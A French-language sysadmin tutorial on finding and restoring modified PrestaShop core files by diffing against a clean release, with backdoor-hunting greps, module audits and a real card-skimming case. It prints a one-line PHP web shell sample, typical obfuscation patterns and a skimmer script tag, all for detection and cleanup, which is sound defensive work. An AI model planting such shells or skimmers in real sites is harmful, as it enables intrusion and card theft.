Credit : Logo officiel
Comparer et restaurer les fichiers PrestaShop modifiés
Comparer et restaurer les fichiers PrestaShop modifiés
La semaine dernière, un client m'appelle en panique : sa boutique PrestaShop 8.1 redirige les paniers vers un domaine douteux dès qu'on clique sur "Commander". Antivirus côté client négatif, headers Nginx propres. J'ouvre le serveur, je vois un OrderController.php avec un timestamp de modification deux semaines après le déploiement initial. Bingo, fichier core touché. Sur PrestaShop, contrairement à WordPress et son wp core verify-checksums, il n'existe aucun outil officiel pour vérifier l'intégrité des fichiers. La seule méthode fiable, c'est diff contre une installation propre de la même version. Voici la procédure que j'utilise quasiment chaque semaine en support.
Identifier précisément la version installée
Avant tout, il faut connaître la version exacte du PrestaShop déployé, au patch près. Une comparaison entre 8.1.3 et 8.1.4 va te sortir des dizaines de faux positifs.
grep "const VERSION" /var/www/prestashop/src/Core/Version.php
Sortie attendue :
const VERSION = '8.1.7';
Pour les installations plus anciennes (1.7.x), le fichier est ailleurs :
grep "_PS_VERSION_" /var/www/prestashop/config/settings.inc.php
cat /var/www/prestashop/install/install_version.php 2>/dev/null
Si le dossier install/ a été supprimé (ce qui est recommandé en prod), interroge directement la base :
mysql -u prestashop_user -p prestashop_db -e "SELECT value FROM ps_configuration WHERE name='PS_VERSION_DB';"
Note : si tu trouves deux versions différentes entre
Version.phpetPS_VERSION_DB, c'est qu'une mise à jour SQL a tourné mais pas le swap des fichiers. Tu dois traiter ça avant de comparer quoi que ce soit.
Préparer une installation de référence propre
Télécharge la version exacte depuis le dépôt officiel GitHub. Évite les miroirs tiers, j'en ai vu un servir des archives modifiées.
mkdir -p /tmp/ps-ref && cd /tmp/ps-ref
wget https://github.com/PrestaShop/PrestaShop/releases/download/8.1.7/prestashop_8.1.7.zip
sha1sum prestashop_8.1.7.zip
Compare le SHA1 avec celui publié sur la page releases GitHub. Ensuite, double extraction (PrestaShop livre un zip dans un zip) :
unzip -q prestashop_8.1.7.zip
unzip -q prestashop.zip -d clean/
ls clean/ | head
Sortie attendue :
admin/
classes/
config/
controllers/
index.php
src/
Lancer la comparaison structurelle
Vue d'ensemble des différences
diff -q -r /var/www/prestashop/ /tmp/ps-ref/clean/ 2>/dev/null | grep -v '^Only' > /tmp/ps-diff.txt
wc -l /tmp/ps-diff.txt
Sur une install saine, tu devrais avoir entre 0 et 5 lignes (typiquement .htaccess, robots.txt, app/config/parameters.php). Au-delà de 20, il y a clairement quelque chose qui cloche.
Fichiers présents uniquement côté serveur (suspects principaux)
diff -q -r /var/www/prestashop/ /tmp/ps-ref/clean/ 2>/dev/null | grep '^Only in /var/www' | grep -vE '/(modules|themes|img|upload|var|cache|translations)'
C'est la requête la plus rentable en cas de hack. Les attaquants déposent souvent des shells PHP dans des dossiers core comme /classes/, /controllers/admin/ ou /tools/ avec des noms ressemblants : Cache.php, helper.php, class.php. Tout ce qui sort de cette commande dans un dossier core mérite une inspection manuelle.
Fichiers manquants côté serveur
diff -q -r /var/www/prestashop/ /tmp/ps-ref/clean/ 2>/dev/null | grep '^Only in /tmp/ps-ref'
Utile pour repérer les suppressions accidentelles (un FTP qui s'interrompt, un rsync --delete mal calibré).
Restreindre aux fichiers vraiment critiques
Les dossiers modules/, themes/, img/, upload/, var/ contiennent du contenu spécifique à chaque boutique. Les exclure rend la sortie lisible :
diff -q -r \
--exclude='modules' \
--exclude='themes' \
--exclude='var' \
--exclude='upload' \
--exclude='img' \
--exclude='translations' \
--exclude='cache' \
--exclude='download' \
--exclude='.htaccess' \
/var/www/prestashop/ /tmp/ps-ref/clean/
Inspecter les fichiers modifiés en détail
Comparaison ligne à ligne avec vimdiff
vimdiff /var/www/prestashop/classes/Cart.php /tmp/ps-ref/clean/classes/Cart.php
Dans vimdiff, ]c saute à la différence suivante, [c à la précédente. do (diff obtain) récupère la version du panneau d'à côté, dp (diff put) envoie ta version. Les patterns malveillants typiques que je croise :
- Une ligne
eval(base64_decode('...'))collée tout en haut du fichier - Un bloc PHP en fin de fichier avec
gzinflate(str_rot13(...)) - Une fonction renommée pour appeler
file_get_contents('http://...')sur un domaine externe - Des modifications dans
OrderController::postProcess()qui dupliquent les données carte
Diff unifié pour archivage
Avant de restaurer, garde une trace de ce qui a été touché. Pratique pour la déclaration CNIL en cas de fuite de données :
diff -u /tmp/ps-ref/clean/classes/Cart.php /var/www/prestashop/classes/Cart.php > /root/forensic/cart-diff.patch
Détecter le code obfusqué dans toute l'arborescence
En complément du diff, ce grep sort la majorité des backdoors PHP basiques :
grep -rEn --include='*.php' \
'(eval\(base64_decode|eval\(gzinflate|eval\(\\$_(POST|GET|REQUEST)|assert\(\\$_)' \
/var/www/prestashop/ 2>/dev/null
Sortie attendue (cas typique) :
/var/www/prestashop/modules/ps_facetedsearch/lic.php:1:<?php eval(base64_decode($_POST['x']));
Restaurer proprement les fichiers
Une fois la liste des fichiers compromis établie, restaure-les depuis la copie propre. Toujours sauvegarder l'existant avant, même si tu es sûr que c'est du malware (utile pour analyse a posteriori).
mkdir -p /root/quarantine/$(date +%F)
Q=/root/quarantine/$(date +%F)
for f in classes/Cart.php classes/Order.php controllers/front/OrderController.php; do
cp -p "/var/www/prestashop/$f" "$Q/$(basename $f).bad"
cp -p "/tmp/ps-ref/clean/$f" "/var/www/prestashop/$f"
chown www-data:www-data "/var/www/prestashop/$f"
echo "Restauré : $f"
done
Pour une restauration massive de tout le core (en gardant modules/, themes/, img/, upload/, var/, config/parameters.php) :
rsync -av --delete \
--exclude='modules/' \
--exclude='themes/' \
--exclude='img/' \
--exclude='upload/' \
--exclude='var/' \
--exclude='download/' \
--exclude='translations/' \
--exclude='app/config/parameters.php' \
--exclude='.htaccess' \
/tmp/ps-ref/clean/ /var/www/prestashop/
Le --delete est volontaire : il supprime les fichiers présents côté serveur mais pas dans la version propre, donc tous les shells déposés par l'attaquant. À ne jamais lancer sans avoir d'abord listé ce qui va être supprimé avec --dry-run.
Remettre les permissions correctes
Après rsync, les permissions peuvent être incohérentes. PrestaShop attend du 644 sur les fichiers et 755 sur les dossiers, sauf pour quelques répertoires en écriture :
find /var/www/prestashop -type f -exec chmod 644 {} \;
find /var/www/prestashop -type d -exec chmod 755 {} \;
chown -R www-data:www-data /var/www/prestashop
# Dossiers nécessitant l'écriture par le webserver
for d in var/cache var/logs var/sessions img upload download mails modules themes config translations; do
chmod -R 775 "/var/www/prestashop/$d"
done
Vider les caches et vérifier le bon fonctionnement
PrestaShop met en cache une grosse partie du core compilé. Après restauration de fichiers, le cache pointe vers du code obsolète et le site peut planter.
rm -rf /var/www/prestashop/var/cache/prod/*
rm -rf /var/www/prestashop/var/cache/dev/*
rm -f /var/www/prestashop/app/cache/prod/class_index.php
php /var/www/prestashop/bin/console cache:clear --env=prod --no-warmup
Redémarre PHP-FPM et OPcache pour purger le bytecode mis en mémoire :
systemctl reload php8.3-fpm
Teste ensuite un parcours complet : page d'accueil, fiche produit, ajout au panier, tunnel de commande jusqu'à l'étape paiement. Si une page renvoie une 500, regarde immédiatement les logs.
tail -f /var/www/prestashop/var/logs/prod-*.log
tail -f /var/log/nginx/prestashop-error.log
Erreurs courantes et leur fix
Fatal error: Uncaught Smarty_Compiler_Exception
Le cache Smarty contient des templates compilés référençant des classes qui ont changé. Vide-le complètement :
rm -rf /var/www/prestashop/var/cache/prod/smarty/compile/*
rm -rf /var/www/prestashop/var/cache/prod/smarty/cache/*
Class "PrestaShopBundle\\Foo" not found après restauration
L'autoloader Composer pointe encore vers l'ancien index. Régénère-le :
cd /var/www/prestashop
composer dump-autoload --no-dev --optimize
Si composer est absent du serveur, force la régénération côté PrestaShop en supprimant app/cache/prod/class_index.php et en rechargeant n'importe quelle page admin.
The directory /modules is not writable au back-office
Les permissions ont été reposées trop strict après le find global. Le webserver a besoin du droit d'écriture sur modules/ :
chown -R www-data:www-data /var/www/prestashop/modules
chmod -R 775 /var/www/prestashop/modules
Diff sort des milliers de lignes sur un fichier intact
Dix fois sur dix, c'est un souci de fins de ligne (CRLF côté serveur, LF côté GitHub) ou d'encodage (BOM UTF-8). Force la comparaison à ignorer ces différences :
diff -q --strip-trailing-cr -r /var/www/prestashop/ /tmp/ps-ref/clean/
Si c'est un upload Windows qui a converti tous les fichiers en CRLF, normalise avant de comparer :
find /var/www/prestashop -name '*.php' -exec dos2unix {} \;
Le site charge mais les modules sont désactivés
La table ps_module en base peut conserver des références vers des modules supprimés ou des modules malveillants. Liste les modules actifs et compare avec ceux que tu reconnais :
mysql -u prestashop_user -p prestashop_db -e \
"SELECT name, active, version FROM ps_module WHERE active=1 ORDER BY name;"
Désactive ce qui ne te dit rien : UPDATE ps_module SET active=0 WHERE name='module_louche';.
Automatiser une vérification d'intégrité périodique
Vu qu'il n'y a pas d'équivalent natif à wp core verify-checksums, je colle un cron sur les boutiques sensibles. Le script génère un manifest SHA256 du core une fois (après audit) puis le rejoue chaque nuit :
# Génération initiale (à faire après une install vérifiée)
cd /var/www/prestashop
find . -type f \
\( -path './modules' -o -path './themes' -o -path './var' \
-o -path './upload' -o -path './img' \) -prune -o \
-type f -name '*.php' -print0 \
| xargs -0 sha256sum > /root/ps-manifest.sha256
# Vérification (à mettre en cron quotidien)
cd /var/www/prestashop
sha256sum -c /root/ps-manifest.sha256 2>&1 | grep -v ': OK{{CONTENT}}#39; \
| mail -s "PrestaShop integrity alert" admin@exemple.fr
Ligne dans /etc/crontab :
15 4 * * * root /usr/local/bin/ps-integrity-check.sh
C'est rudimentaire mais ça détecte 95% des modifications non autorisées de fichiers core.
Auditer les modules tiers, point d'entrée principal
Dans 8 hacks PrestaShop sur 10, l'attaquant n'est pas passé par le core mais par un module tiers vulnérable. Le diff core te confirmera que les fichiers officiels sont propres, mais il ne te dira rien sur ce module gratuit téléchargé sur un forum en 2022. Voici comment compléter l'audit côté modules.
Lister les modules par date de modification
find /var/www/prestashop/modules -maxdepth 2 -name 'config.xml' -printf '%T+ %p\n' | sort -r | head -30
Un module dont la date de modification ne colle pas avec ton calendrier de mises à jour (par exemple un module modifié hier alors que tu n'as touché à rien) mérite une inspection immédiate.
Chercher les fichiers PHP en dehors des emplacements attendus
Un module PrestaShop sain n'a aucune raison d'avoir un .php dans views/img/, views/css/ ou un dossier cache/. Ces emplacements sont des cachettes classiques pour les webshells :
find /var/www/prestashop/modules -type f -name '*.php' \
\( -path '*/views/img/*' -o -path '*/views/css/*' -o -path '*/views/js/*' \
-o -path '*/cache/*' -o -path '*/upload/*' \) -ls
Si cette commande retourne quoi que ce soit, c'est très probablement malveillant. Quarantaine immédiate.
Vérifier les hooks suspects en base
Les attaquants enregistrent souvent un hook custom pour exécuter leur charge sur chaque requête. Liste les hooks par module et cherche ceux qui sortent de l'ordinaire :
mysql -u prestashop_user -p prestashop_db -e "
SELECT m.name, h.name AS hook_name
FROM ps_hook_module hm
JOIN ps_module m ON m.id_module = hm.id_module
JOIN ps_hook h ON h.id_hook = hm.id_hook
WHERE h.name LIKE 'action%' OR h.name LIKE 'display%'
ORDER BY m.name;"
Un module nommé ps_imagecache accroché au hook actionFrontControllerSetMedia doit te mettre la puce à l'oreille s'il n'apparaît pas dans la liste officielle des modules natifs PrestaShop.
Cas réel : restauration après injection dans payment.tpl
Pour fixer les idées, voici un cas concret traité le mois dernier sur PrestaShop 8.1.5. Le client signale que les paiements Stripe échouent depuis trois jours, alors que les commandes par virement passent. Symptôme atypique : seul le formulaire de carte bancaire est cassé.
Première étape, repérer le fichier touché :
diff -q -r /var/www/prestashop/ /tmp/ps-ref/clean/ 2>/dev/null \
| grep -E 'payment|stripe|checkout'
Sortie :
Files /var/www/prestashop/themes/classic/templates/checkout/_partials/steps/payment.tpl and /tmp/ps-ref/clean/themes/classic/templates/checkout/_partials/steps/payment.tpl differ
En vimdiff, je vois un bloc <script src="https://cdn-stats[.]xyz/c.js"></script> injecté juste avant la balise de fermeture du formulaire de paiement. Du skimming pur et simple : le script externe enregistre les frappes du formulaire CB et les envoie à un domaine tiers. C'est ce qui fait planter Stripe Elements (le script tiers casse l'iframe Stripe).
Restauration :
cp /tmp/ps-ref/clean/themes/classic/templates/checkout/_partials/steps/payment.tpl \
/var/www/prestashop/themes/classic/templates/checkout/_partials/steps/payment.tpl
rm -rf /var/www/prestashop/var/cache/prod/smarty/compile/*
systemctl reload php8.3-fpm
Mais le travail n'est pas fini. Si un attaquant a pu modifier un .tpl, il faut comprendre comment. Audit du .htaccess, des clefs SSH du serveur, des dernières connexions FTP :
grep 'Accepted' /var/log/auth.log | tail -50
awk '$9 ~ /^2[0-9][0-9]$/ {print}' /var/log/nginx/access.log | grep -i 'admin' | tail -100
Dans ce cas précis, j'ai trouvé un compte FTP créé deux semaines plus tôt avec un mot de passe faible. Ré-attribution de tous les mots de passe BO, rotation des clefs SSH, blocage IP de la plage utilisée par l'attaquant via fail2ban. Voilà à quoi ressemble un vrai retour à la normale, et la comparaison diff n'est que la première étape.
Pour aller plus loin
- Installer PrestaShop sur un VPS IONOS — le déploiement initial propre dont dépend tout audit ultérieur
- Activer le mode développeur de PrestaShop — pour lire les vraies erreurs PHP au lieu de la page blanche
- Vérifier l'intégrité des fichiers WordPress — la version équivalente côté WP avec wp-cli
- Sécuriser WordPress contre les hacks — les principes anti-intrusion s'appliquent aussi à PrestaShop
- Optimiser PrestaShop pour les performances et le SEO — une fois les fichiers propres, on rentabilise
- Sauvegarder et restaurer une base MySQL — parce qu'un audit fichiers ne couvre pas la base
Ce que je retiens après cinquante audits
La comparaison diff ne remplace pas un audit forensic complet, mais elle isole 90% des compromissions en moins d'une heure. Le vrai gain de temps, c'est d'avoir le manifest SHA256 généré dès la mise en prod : la prochaine fois qu'un client appelle paniqué, je n'ai plus besoin de retélécharger le zip officiel, je sais en trois minutes quels fichiers ont bougé. Et pour PrestaShop tant qu'il n'y a pas d'outil natif d'intégrité, c'est ce workflow ou rien.